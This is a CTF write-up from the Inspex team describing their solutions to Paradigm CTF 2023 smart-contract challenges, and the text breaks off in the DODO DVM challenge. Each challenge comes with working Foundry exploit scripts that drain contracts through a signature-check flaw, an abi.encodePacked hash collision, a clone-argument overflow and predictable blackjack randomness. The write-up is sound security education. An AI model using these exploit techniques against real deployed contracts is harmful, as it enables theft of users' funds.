Inspex team participated in Paradigm CTF 2023, finishing 17th out of 800+ teams with a total score of 2546.29.
The challenges this year are more realistic; some of them are directly forks or modifications from the actual DeFi platform on the blockchain. Additionally, there are some incredibly creative King of the Hill challenges.
We’re having a great time figuring out these enjoyable yet challenging challenges. The following are the 12 challenges that we have completed:
CHALLENGE: HELLO WORLD
AUTHOR: samczsun
TAGS: helloworld
DESCRIPTION: You know the drill
This challenge is a sanity check challenge that contains a Challenge
contract as follows:
Challenge.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Challenge {
address public immutable TARGET = 0x00000000219ab540356cBB839Cbe05303d7705Fa;
uint256 public immutable STARTING_BALANCE;
constructor() {
STARTING_BALANCE = address(TARGET).balance;
}
function isSolved() external view returns (bool) {
return TARGET.balance > STARTING_BALANCE + 13.37 ether;
}
}
The objective of this challenge is to make the $ETH balance of the target contract greater than the initial balance at least 13.37 ether. This can be simply done by using selfdestruct()
to force a transfer of $ETH to the contract. We used the following forge script to complete this challenge.
HelloWorldSolver.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
contract HelloWorldSolver is Script {
function run() external {
uint256 playerPrivateKey = vm.envUint("PLAYER");
address challengeAddress = vm.envAddress("CHALLENGE");
vm.startBroadcast(playerPrivateKey);
new Tmp{value: 13.37 ether + 1}();
vm.stopBroadcast();
}
}
contract Tmp {
constructor() payable {
selfdestruct(payable(0x00000000219ab540356cBB839Cbe05303d7705Fa));
}
}
CHALLENGE: BLACK SHEEP
AUTHOR: Yi (@SuplabsYi) at Supremacy (@SupremacyHQ)
TAGS: pwn, huff
DESCRIPTION: https://twitter.com/SuplabsYi/status/1717665382960595251
There is a SimpleBank contract written by huff, that has the withdraw()
function implemented as follows. The goal for this challenge is to call the withdraw()
function and drain all funds from the contract.
/* Interface */
#define function withdraw(bytes32,uint8,bytes32,bytes32) payable returns ()
#define macro CHECKVALUE() = takes (0) returns (0) {
callvalue 0x10 gt over jumpi
0x00 dup1 revert
over:
0x00
0x00
0x00
0x00
callvalue 0x02 mul
caller
0xFFFFFFFF
call
}
#define macro CHECKSIG() = takes (0) returns (1) {
0x04 calldataload
0x00 mstore
0x24 calldataload
0x20 mstore
0x44 calldataload
0x40 mstore
0x64 calldataload
0x60 mstore
0x20
0x80
0x80
0x00
0x1
0xFFFFFFFF
staticcall
iszero invalidSigner jumpi
0x80 mload
0xd8dA6Bf26964AF9D7eed9e03e53415D37AA96044 eq correctSigner jumpi
end jump
correctSigner:
0x00
end jump
invalidSigner:
0x01
end jump
end:
}
#define macro WITHDRAW() = takes (0) returns (0){
CHECKVALUE()
CHECKSIG()
iszero iszero noauth jumpi
0x00 dup1 dup1 dup1
selfbalance caller
gas call
end jump
noauth:
0x00 dup1 revert
end:
}
#define macro MAIN() = takes (0) returns (0) {
// Identify which function is being called.
0x00 calldataload 0xE0 shr
dup1 __FUNC_SIG(withdraw) eq withdrawj jumpi
callvalue 0x00 lt recieve jumpi
0x00 0x00 revert
withdrawj:
WITHDRAW()
recieve:
}
From the huff code, when we call withdraw()
it will execute the WITHDRAW()
function. You can learn basic huff code from docs.huff.sh and try to understand the contract step by step. Or the another way is trying to decompile the deployed huff contract to solidity by using dedaub decompile. After getting the bytecode from the blockchain, we have decompile it into the following solidity contract:
SimpleBank_decompiled.sol
// Decompiled by library.dedaub.com
// 2023.10.28 00:20 UTC
function 0x410e2069(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public payable {
require(16 > msg.value);
v0 = v1 = msg.sender.call().value(msg.value << 1).gas(uint32.max);
v2 = ecrecover(varg0, varg1, varg2, varg3);
if (!v2) {
v0 = v3 = 1;
// Unknown jump to Block 0x8f. Refer to 3-address code (TAC);
} else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) {
v0 = v4 = 0;
}
require(!bool(v0));
v5 = msg.sender.call().value(this.balance).gas(msg.gas);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
if (0x410e2069 == function_selector >> 224) {
0x410e2069();
} else {
assert(0 >= msg.value);
revert();
}
}
The withdraw()
(0x410e2069
) function logic contains the two main tasks. First, the contract will refund the msg.value back as double. However, here is a check that the msg.value must be less than 16. Since the contract initial balance is 10 ether, we cannot use this, which will take forever to drain all funds.
require(16 > msg.value);
v0 = v1 = msg.sender.call().value(msg.value << 1).gas(uint32.max);
Let’s move on to the next part, which is the signature verification. The following code checks if the signature is not valid; the v0
will be set to 1, and if it is valid and signed from 0xd8da6bf26964af9d7eed9e03e53415d37aa96044
, the v0
will be set to 0
.
However, in default case where signature is valid even it is signed from any address the v0
will never been set and it previous value is from the first part which is the refund transfer status.
v2 = ecrecover(varg0, varg1, varg2, varg3);
if (!v2) {
v0 = v3 = 1;
// Unknown jump to Block 0x8f. Refer to 3-address code (TAC);
} else if (0xd8da6bf26964af9d7eed9e03e53415d37aa96044 == MEM[128]) {
v0 = v4 = 0;
}
require(!bool(v0));
With all of these, we can craft the input that would make v0 = 0
by reverting the transfer part and putting any valid signature as an input.
BlackSheepSolver.s.sol
/ SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
contract BlackSheepSolver is Script {
function run() external {
uint256 playerPrivateKey = vm.envUint("PLAYER");
address challengeAddress = vm.envAddress("CHALLENGE");
Bank bank = Bank(Challenge(challengeAddress).BANK());
vm.startBroadcast(playerPrivateKey);
Exploit e = new Exploit();
e.exp(bank);
console.log("isSolved:", Challenge(challengeAddress).isSolved());
vm.stopBroadcast();
}
}
contract Exploit {
function exp(Bank bank) external {
// some valid signature
bank.withdraw(0x0000000000000000000000000000000000000000000000000000000000000000, 28, 0x2cc23f074ec0d40421d95b58b67d667120d0a3d4f8feba6c7c5ff88d1ec3a4cb, 0x18b3e15bac816bb53a075d045632703600c4ee7ef31ff6fdc237362c8b76fd72);
}
fallback() payable external {
if (msg.value == 0) revert();
}
}
interface Bank {
function withdraw(bytes32,uint8,bytes32,bytes32) payable external;
}
contract Challenge {
address public BANK;
function isSolved() external view returns (bool) {
return address(BANK).balance == 0;
}
}
CHALLENGE: 100%
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Your funds are safe when you use our innovative new payment splitter that ensure that 100% of assets make it to their intended recipients
In this challenge, it has two relevant contracts: Split
and SplitWallet
. The goal is to drain $ETH from the deployed Split
and SplitWallet
contracts.
Challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "./Split.sol";
contract Challenge {
Split public immutable SPLIT;
constructor(Split split) {
SPLIT = split;
}
function isSolved() external view returns (bool) {
Split.SplitData memory splitData = SPLIT.splitsById(0);
return address(SPLIT).balance == 0 && address(splitData.wallet).balance == 0;
}
}
The whole concept of the Split
and SplitWallet
contracts is to create a Split
NFT that can designated a group of users that can withdraw tokens by the pre-defined ratio.
TheSplit
contract is a factory for creating a Split
NFT. Each new Split
NFT will bind with a new SplitWallet
contract. The SplitWallet
contract is just the token receiver point of each Split
. Any users can call the createSplit()
function to create their own Split
NFT.
Split.sol
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol";
import "./SplitWallet.sol";
contract Split is ERC721("Split", "SPLIT") {
using ClonesWithImmutableArgs for address;
struct SplitData {
bytes32 hash;
SplitWallet wallet;
}
SplitWallet private immutable IMPLEMENTATION = new SplitWallet();
uint256 private immutable SCALE = 1e6;
uint256 public nextId;
mapping(uint256 => SplitData) private _splitsById;
mapping(address => mapping(address => uint256)) public balances;
[...SNIP...]
The SplitWallet
contract only has three notable functions, nothing special except they are deployed with clones-with-immutable-args
, a really intesting kind of a clone contract👀.
SplitWallet.sol
import "@clones-with-immutable-args/src/Clone.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SplitWallet is Clone {
function deposit() external payable {}
function pullToken(IERC20 token, uint256 amount) external {
require(msg.sender == _getArgAddress(0));
if (address(token) == address(0x00)) {
payable(msg.sender).transfer(amount);
} else {
token.transfer(msg.sender, amount);
}
}
function balanceOf(IERC20 token) external view returns (uint256) {
if (address(token) == address(0x00)) {
return address(this).balance;
}
return token.balanceOf(address(this));
}
}
Let’s look into our main course on this challenge, the first Split
NFT. It assigned to two addresses (spoiler alert: they are not 0xdEaD
and 0xbEEF
, look closely😉) with 50:50 split proportion. It also had 100 $ETH deposited in the SplitWallet
.
Deploy.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-ctf/CTFDeployment.sol";
import "src/Split.sol";
import "src/Challenge.sol";
contract Deploy is CTFDeployment {
function deploy(address system, address) internal override returns (address challenge) {
vm.startBroadcast(system);
Split split = new Split();
address[] memory addrs = new address[](2);
addrs[0] = address(0x000000000000000000000000000000000000dEaD);
addrs[0] = address(0x000000000000000000000000000000000000bEEF);
uint32[] memory percents = new uint32[](2);
percents[0] = 5e5;
percents[1] = 5e5;
uint256 id = split.createSplit(addrs, percents, 0);
Split.SplitData memory splitData = split.splitsById(id);
splitData.wallet.deposit{value: 100 ether}();
challenge = address(new Challenge(split));
vm.stopBroadcast();
}
}
Our goals are to drain from the Split
and SplitWallet
contracts. The SplitWallet
contract can be easily drained by calling the distribute()
function on the Split
contract with the right parameters. The function will pull the token from the SplitWallet
contract to the Split
contract and update the withdrawable balances of the addresses on the NFT proportionaly. The user with withdrawable balances can use the withdraw()
function to withdraw tokens from the Split
contract.
Now the SplitWallet
contract is empty dried, but how will we drain the Split
contract rightfully.
Split.sol
function _distribute(
uint256 splitId,
address[] memory accounts,
uint32[] memory percents,
uint32 relayerFee,
IERC20 token
) private {
require(_splitsById[splitId].hash == _hashSplit(accounts, percents, relayerFee));
SplitWallet wallet = _splitsById[splitId].wallet;
uint256 storedWalletBalance = balances[address(wallet)][address(token)];
uint256 externalWalletBalance = wallet.balanceOf(token);
uint256 totalBalance = storedWalletBalance + externalWalletBalance;
if (msg.sender != ownerOf(splitId)) {
uint256 relayerAmount = totalBalance * relayerFee / SCALE;
balances[msg.sender][address(token)] += relayerAmount;
totalBalance -= relayerAmount;
}
for (uint256 i = 0; i < accounts.length; i++) {
balances[accounts[i]][address(token)] += totalBalance * percents[i] / SCALE;
}
if (storedWalletBalance > 0) {
balances[address(wallet)][address(token)] = 0;
}
if (externalWalletBalance > 0) {
wallet.pullToken(token, externalWalletBalance);
}
}
The challenge generously gave us 100 $ETH to solve the challenge. The validation in the _distribute()
function use the _hashSplit()
function to calculate the hash value.
We spotted that the _hashSplit()
function use the infamous abi.encodePacked()
function to encode the parameter. We really got a pungent smell from the code around here🐶, they are using abi.encodePacked()
function to encode two adjacent array data. The abi.encodePacked()
function strips the lenght data from an array and leave only the data element. Without the lenght data as the guard rail on each array data, the function can produce same encoded data from different input array data.
Split.sol
function _hashSplit(address[] memory accounts, uint32[] memory percents, uint32 relayerFee)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(accounts, percents, relayerFee));
}
This is the result of the abi.encodePacked()
function on the first split data.
000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31
0000000000000000000000000000000000000000000000000000000000000000 // accounts[1] bytes 32-63 *The second account is address(0) not 0xbEEF😉
000000000000000000000000000000000000000000000000000000000007a120 // percents[0] bytes 64-95
000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 96-127
00000000 // relayerFee bytes 128-131
We can send [1 accounts : 3 percents : relayerFee] instead of [2 accounts : 2 percents : relayerFee] into the _hashSplit()
function and hash still be as the same.
000000000000000000000000000000000000000000000000000000000000beef // accounts[0] bytes 0-31
0000000000000000000000000000000000000000000000000000000000000000 //*percents[0] bytes 32-63 *Used the last account
000000000000000000000000000000000000000000000000000000000007a120 // percents[1] bytes 64-95
000000000000000000000000000000000000000000000000000000000007a120 // percents[2] bytes 96-127
00000000 // relayerFee bytes 128-131
Now we can use the last account to be the first account percent value that bypass the restriction that the sum value of the percent of a Split
must be exactly 100% (1e6). Moreover the _distribute()
function doesn’t check that the lenght of the account
array and the percents
array must be equal. It is a perfectly good spot for attacking the contact.
The goal to solve the challenge should be as follow:
Drain SplitWallet
call the distribute()
function with the valid data of the first Split
.
Drain Split
create a Split
with following criterias:
First account is our wallet (must be an address that we can use to call the withdraw()
function)
Second account is a number that satisfy following criteria
deposited
*(percent
/1e6) >= 100e18 + deposited
; amoutOut >= amountIn
0 < deposited
< 100e18 - gas
; The amount that we can deposit
We UsEd A gRaPh (or sage, thyme, pasley anything you prefer) To SoLvE tHeSe CoMpLeX "linear equations"😬.
Just kidding, with any big numbers (a typical address) should be enough to surpass the amount in the Split
contract, just beware of the overflow/underflow. It does not have to be any sophisticated values, unless you want it😎.
The percent of both account are any value that sum to 100.
The relayerFee is 0.
deposit the chosen amount of $ETH into the new SplitWallet
contract.
call the distribute()
function on the new Split
with only one address in the account array. The second account will be the first element of the percents array.
call the withdraw()
function to drain the Split
contract
100pSolve.sol
function run() external {
uint256 playerPrivateKey = vm.envOr("PLAYER", uint256(0xcfe1a47d1dda36b91d969cd217a64080d3df9cb4e5b239bd811c1e510bb3f2f5));
player = vm.addr(playerPrivateKey);
challenge = Challenge(0x7B49f67c1E14A215634132f799E1D58f13F2A4b5);
split = challenge.SPLIT();
vm.startBroadcast(playerPrivateKey);
Split.SplitData memory splitData = split.splitsById(0);
address[] memory addrs = new address[](2);
addrs[0] = address(0x000000000000000000000000000000000000dEaD); // dead as the name
addrs[0] = address(0x000000000000000000000000000000000000bEEF); // nothing wrong
uint32[] memory percents = new uint32[](2);
percents[0] = 5e5; // 50%
percents[1] = 5e5; // 50%
address[] memory myAddrs = new address[](2);
myAddrs[0] = address(player);
myAddrs[1] = address(0x00000000000000000000000000000000002Dc6C0); // 3e6 or 300%; quite sophisticated?
address[] memory myAddrs2 = new address[](1);
myAddrs2[0] = address(player);
uint32[] memory myPercents = new uint32[](3);
myPercents[0] = 3e6; // 300%
myPercents[1] = 5e5; // 50%
myPercents[2] = 5e5; // 50%
split.distribute(0, addrs, percents, 0, IERC20(address(0))); // drain the first SplitWallet
uint256 myId = split.createSplit(myAddrs, percents, 0); // create a new Split
Split.SplitData memory mySplit = split.splitsById(myId);
mySplit.wallet.deposit{value:50 ether}(); // deposit 50 ETH. The 3 times 50 is 150. QUICKMATH
split.distribute(myId, myAddrs2, myPercents, 0, IERC20(address(0))); // distribute with some twist
IERC20[] memory token = new IERC20[](1);
uint256[] memory amount = new uint256[](1);
token[0] = IERC20(address(0));
amount[0] = 150 ether;
split.withdraw(token, amount); // drain the first Split
console.log(challenge.isSolved());
vm.stopBroadcast();
}
CHALLENGE: DAI++
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn’t be any bugs here
This challenge consists of the following contracts:AccountManager
: Handle open accounts, migrate accounts, and mint or burn stablecoin.Account
: Implementation contract for clone, which will be created upon open account, provides deposit, withdrawal, and collateral health check.Stablecoin
: ERC20, used as stablecoin, can be minted or burned by an authorized address.SystemConfiguration
: Contain getter/setter of systems’ configurations.
The goal of this challenge is minting the stablecoin more than 1_000_000_000_000
tokens. So let’s start by looking at the minting process, to mint stablecoin the following AccountManager.mintStablecoins()
must be called.
AccountManager.sol
function mintStablecoins(Account account, uint256 amount, string calldata memo)
external
onlyValidAccount(account)
{
account.increaseDebt(msg.sender, amount, memo);
Stablecoin(SYSTEM_CONFIGURATION.getStablecoin()).mint(msg.sender, amount);
}
As you can see, the Account.increaseDebt()
will be called first before stablecoin minting.
Account.sol
function increaseDebt(address operator, uint256 amount, string calldata memo) external {
SystemConfiguration configuration = SystemConfiguration(_getArgAddress(0));
require(configuration.isAuthorized(msg.sender), "NOT_AUTHORIZED");
require(operator == _getArgAddress(20), "ONLY_ACCOUNT_HOLDER");
require(isHealthy(0, amount), "NOT_HEALTHY");
debt += amount;
emit DebtIncreased(amount, memo);
}
The Account
contract is created with clone pattern shown as follows:
AccountManager.sol
function _openAccount(address owner, address[] calldata recoveryAddresses) private returns (Account) {
Account account = Account(
SYSTEM_CONFIGURATION.getAccountImplementation().clone(
abi.encodePacked(SYSTEM_CONFIGURATION, owner, recoveryAddresses.length, recoveryAddresses)
)
);
validAccounts[account] = true;
return account;
}
In the clone()
function implementation, there is a warning that the input data should not exceed 65535 bytes. So what if we try to input recoveryAddresses
data that exceeds it?
ClonesWithImmutableArgs.sol
library ClonesWithImmutableArgs {
error CreateFail();
/// @notice Creates a clone proxy of the implementation contract, with immutable args
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
/// @param implementation The implementation contract to clone
/// @param data Encoded immutable args
/// @return instance The address of the created clone
function clone(address implementation, bytes memory data)
internal
returns (address instance)
{
// unrealistic for memory ptr or data length to exceed 256 bits
unchecked {
uint256 extraLength =
At first, we would like to overwrite the SYSTEM_CONFIGURATION
address in the Account
contract to manipulate the configurations. However, we found out that when we create an account with the recoverAddresses
parameter as an array of length 2044, the increaseDebt()
function implementation will be skipped, and we can call mintStablecoins()
without any restriction. So we used the following script to complete this challenge:
DaiPlusPlusSolver.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/SystemConfiguration.sol";
import {Account as Acct} from "../src/Account.sol";
import "../src/AccountManager.sol";
contract DaiPlusPlusSolver is Script {
function run() external {
address attacker = address(0x1337);
uint256 playerPrivateKey = vm.envUint("PLAYER");
address challengeAddress = vm.envAddress("CHALLENGE");
Challenge challenge = Challenge(challengeAddress);
SystemConfiguration systemConfiguration = SystemConfiguration(challenge.SYSTEM_CONFIGURATION());
AccountManager accountManager = AccountManager(systemConfiguration.getAccountManager());
vm.startBroadcast(playerPrivateKey);
address[] memory recoverAddresses = new address[](2044);
Acct account = accountManager.openAccount(attacker, recoverAddresses);
accountManager.mintStablecoins(account, 1_000_000_000_000 ether + 1, "hack");
console.log("isSolved:", challenge.isSolved());
vm.stopBroadcast();
}
}
CHALLENGE: SKILL BASED GAME
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Unlike other gambling games, this one is purely a game of skill
This challenge assigns us as players who have to win the BlackJack game repeatedly, draining all the funds in the address 0xA65D59708838581520511d98fB8b5d1F76A96cad
from the forked Ethereum mainnet.
In order to solve this challenge, we must play only the game that favors us, since if we lose a single game, we increase the balance of the contract. One way to do that is to “know the cards that will be drawn in advance” so that we can decide which game to play.
Let’s take a look at how the contract deals with the cards. The player has to call the deal()
function to play Black Jack. After the deal card is given to the player, the game is checked by the checkGameResult()
function.
BlackJack.sol
function deal() public payable {
if (games[msg.sender].player != 0 && games[msg.sender].state == GameState.Ongoing) {
throw; // game is already going on
}
if (msg.value < minBet || msg.value > maxBet) {
throw; // incorrect bet
}
uint8[] memory houseCards = new uint8[](1);
uint8[] memory playerCards = new uint8[](2);
// deal the cards
playerCards[0] = Deck.deal(msg.sender, 0);
Deal(true, playerCards[0]);
houseCards[0] = Deck.deal(msg.sender, 1);
Deal(false, houseCards[0]);
playerCards[1] = Deck.deal(msg.sender, 2);
Deal(true, playerCards[1]);
games[msg.sender] = Game({
player: msg.sender,
bet: msg.value,
houseCards: houseCards,
playerCards: playerCards,
state: GameState.Ongoing,
cardsDealt: 3,
});
checkGameResult(games[msg.sender], false);
}
The card random logic is in the Deck.deal()
function. This random logic implementation relies on the block property and some variables, as shown in the following code, which makes it vulnerable and possible to predict the result.
BlackJack.sol
library Deck {
// returns random number from 0 to 51
// let's say 'value' % 4 means suit (0 - Hearts, 1 - Spades, 2 - Diamonds, 3 - Clubs)
// 'value' / 4 means: 0 - King, 1 - Ace, 2 - 10 - pip values, 11 - Jacket, 12 - Queen
function deal(address player, uint8 cardNumber) internal returns (uint8) {
uint b = block.number;
uint timestamp = block.timestamp;
return uint8(uint256(keccak256(block.blockhash(b), player, cardNumber, timestamp)) % 52);
}
function valueOf(uint8 card, bool isBigAce) internal constant returns (uint8) {
uint8 value = card / 4;
if (value == 0 || value == 11 || value == 12) { // Face cards
return 10;
}
if (value == 1 && isBigAce) { // Ace is worth 11
return 11;
}
return value;
}
function isAce(uint8 card) internal constant returns (bool) {
return card / 4 == 1;
}
function isTen(uint8 card) internal constant returns (bool) {
return card / 4 == 10;
}
}
To solve this challenge, we have to win the Black Jack game until all the funds are drained. We can check whether the Solver
contract will win Black Jack by simulating the game with the same logic as the BlackJack
contract.
So we have implemented the script, which contains the factory of the BlackJack Solver
contract that will only play Black Jack when it wins.
SkillBasedGameSolver.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "../src/Challenge.sol";
interface IBlackJack {
function hit() external;
function maxBet() external returns ( uint256 );
function deal() external payable;
function games(address) external returns ( address player, uint256 bet, uint8 state, uint8 cardsDealt );
function getHouseCard(uint8 id) external returns ( uint8 );
function getHouseCardsNumber () external returns ( uint256 );
function minBet() external returns ( uint256 );
function getGameState () external returns ( uint8 );
function stand() external;
function getPlayerCard(uint8 id) external returns ( uint8 );
function getPlayerCardsNumber() external returns ( uint256 );
}
contract SkillBasedGameSolver is Script {
uint256 deployPrivateKey = vm.envUint("PLAYER");
Challenge challenge = Challenge(vm.envAddress("CHALLENGE"));
IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad);
address caller;
function setUp() public {
vm.createSelectFork('http://skill-based-game.challenges.paradigm.xyz:8545/b4cb14d0-7a7b-4024-9503-411a53c4dbfd/main');
caller = vm.addr(deployPrivateKey);
console.log("caller balance: ", caller.balance / 1 ether);
}
function run() public {
vm.startBroadcast(caller);
console.log("block no: ", block.number);
console.log("block timestamp: ", block.timestamp);
Create2Factory factory = new Create2Factory();
console.log("factory: ", address(factory));
payable(factory).transfer(50 ether);
factory.run();
console.log("isSolved: ", challenge.isSolved());
vm.stopBroadcast();
}
}
contract Solver {
IBlackJack blackjack = IBlackJack(0xA65D59708838581520511d98fB8b5d1F76A96cad);
function makeDeal(uint256 betAmount) public payable {
blackjack.deal{value: betAmount}();
if (blackjack.getGameState() != 1) {
blackjack.stand();
}
}
receive() external payable {}
}
contract Create2Factory {
uint8 BLACKJACK = 21;
function run() public {
bytes memory bytecode = type(Solver).creationCode;
uint8 winner = 0;
for (uint256 i=0; i<1000; i++) {
address computedAddr = computeAddress(bytecode, i);
if (isWin(computedAddr)) {
winner++;
console.log("win", i);
bytes32 salt = bytes32(i);
address addr = createChildContract(salt, bytecode);
console.log("addr: ", addr);
Solver solver = Solver(payable(addr));
solver.makeDeal{value: 5 ether}(5 ether);
console.log("balance: ", address(0xA65D59708838581520511d98fB8b5d1F76A96cad).balance / 1 ether);
}
else {
console.log("lose");
}
if (winner >= 10) {
break;
}
}
}
function createChildContract(bytes32 salt, bytes memory initializationCode) public returns (address) {
address newContract;
assembly {
newContract := create2(0, add(initializationCode, 0x20), mload(initializationCode), salt)
if iszero(extcodesize(newContract)) {
revert(0, 0)
}
}
return newContract;
}
function computeAddress(bytes memory code, uint256 salt) public view returns(address) {
uint8 prefix = 0xff;
bytes32 initCodeHash = keccak256(abi.encodePacked(code));
bytes32 hash = keccak256(abi.encodePacked(prefix, address(this), salt, initCodeHash));
return address(uint160(uint256(hash)));
}
function isWin(address child) public view returns (bool) {
uint8[] memory houseCards = new uint8[](1);
uint8[] memory playerCards = new uint8[](2);
playerCards[0] = random(child, 0);
houseCards[0] = random(child, 1);
playerCards[1] = random(child, 2);
(uint8 playerScore, uint8 playerScoreBig, uint8 houseScore, uint8 houseScoreBig) = checkScore(playerCards, houseCards);
if (houseScoreBig == BLACKJACK || houseScore == BLACKJACK) {
return false;
}
else {
if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {
if (isTen(playerCards[0]) || isTen(playerCards[1])) {
// Natural blackjack => return x2.5
return false; //ignore this case
} else {
// Usual blackjack => return x2
return true;
}
}
else {
if (houseScoreBig < 17) {
return false;
}
uint8 playerShortage = 0;
uint8 houseShortage = 0;
if (playerScoreBig > BLACKJACK) {
if (playerScore > BLACKJACK) {
// HOUSE WON
return false;
} else {
playerShortage = BLACKJACK - playerScore;
}
} else {
playerShortage = BLACKJACK - playerScoreBig;
}
if (houseScoreBig > BLACKJACK) {
if (houseScore > BLACKJACK) {
// PLAYER WON
return true;
} else {
houseShortage = BLACKJACK - houseScore;
}
} else {
houseShortage = BLACKJACK - houseScoreBig;
}
// ?????????????????????? почему игра заканчивается?
if (houseShortage == playerShortage) {
// TIE
return false;
} else if (houseShortage > playerShortage) {
// PLAYER WON
return true;
} else {
return false;
}
}
}
}
function checkScore(uint8[] memory playerCards, uint8[] memory houseCards) internal view returns (uint8, uint8, uint8, uint8) {
(uint8 playerScore, uint8 playerScoreBig) = calculateScore(playerCards);
(uint8 houseScore, uint8 houseScoreBig) = calculateScore(houseCards);
return (playerScore, playerScoreBig, houseScore, houseScoreBig);
}
function random(address player, uint8 cardNumber) internal view returns (uint8) {
uint b = block.number;
uint timestamp = block.timestamp;
return uint8(uint256(keccak256(abi.encodePacked(blockhash(b), player, cardNumber, timestamp))) % 52);
}
function calculateScore(uint8[] memory cards) internal pure returns (uint8, uint8) {
uint8 score = 0;
uint8 scoreBig = 0; // in case of Ace there could be 2 different scores
bool bigAceUsed = false;
for (uint i = 0; i < cards.length; ++i) {
uint8 card = cards[i];
if (isAce(card) && !bigAceUsed) { // doesn't make sense to use the second Ace as 11, because it leads to the losing
scoreBig += valueOf(card, true);
bigAceUsed = true;
} else {
scoreBig += valueOf(card, false);
}
score += valueOf(card, false);
}
return (score, scoreBig);
}
function valueOf(uint8 card, bool isBigAce) internal pure returns (uint8) {
uint8 value = card / 4;
if (value == 0 || value == 11 || value == 12) { // Face cards
return 10;
}
if (value == 1 && isBigAce) { // Ace is worth 11
return 11;
}
return value;
}
function isAce(uint8 card) internal pure returns (bool) {
return card / 4 == 1;
}
function isTen(uint8 card) internal pure returns (bool) {
return card / 4 == 10;
}
receive() external payable {}
}
CHALLENGE: DODONT
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: Sometimes all it takes is knowing where to look
This challenge fork form the Ethereum mainnet, the objective of this challenge is drain all fund from the DVM
contract which is deploy with clone pattern from the implementation at 0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445.
First, let’s take a look at the DVM implementation contract (https://etherscan.io/address/0x2BBD66fC4898242BDBD2583BBe1d76E8b8f71445#code). DVM contract is a DODO Vending Machine that is designed to sell tokens without large initial liquidity requirements. Since it is a clone pattern, we will first look at the init()
function.
DVM.sol
/**
* @title DODO VendingMachine
* @author DODO Breeder
*
* @notice DODOVendingMachine initialization
*/
contract DVM is DVMTrader, DVMFunding {
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external {
require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME");
_BASE_TOKEN_ = IERC20(baseTokenAddress);
_QUOTE_TOKEN_ = IERC20(quoteTokenAddress);
require(i > 0 && i <= 10**36);
_I_ = i;
require(k <= 10**18);
_K_ = k;
_LP_FEE_RATE_ = lpFeeRate;
_MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel);
_MAINTAINER_ = maintainer;
_IS_OPEN_TWAP_ = isOpenTWAP;
if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32);
string memory connect = "_";
string memory suffix = "DLP";
name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this))));
symbol = "DLP";
decimals = _BASE_TOKEN_.decimals();
// ============================== Permit ====================================
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
// keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
// ==========================================================================
}
We noticed that the init()
function can be re-executed to re-initialize the contract. This contract also serves the flashloan service as follows:
DVM.sol
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external preventReentrant {
_transferBaseOut(assetTo, baseAmount);
_transferQuoteOut(assetTo, quoteAmount);
if (data.length > 0)
IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data);
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
// no input -> pure loss
require(
baseBalance >= _BASE_RESERVE_ || quoteBalance >= _QUOTE_RESERVE_,
"FLASH_LOAN_FAILED"
);
// sell quote
if (baseBalance < _BASE_RESERVE_) {
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
(uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput);
require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");
_transferBaseOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
assetTo
);
}
// sell base
if (quoteBalance < _QUOTE_RESERVE_) {
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
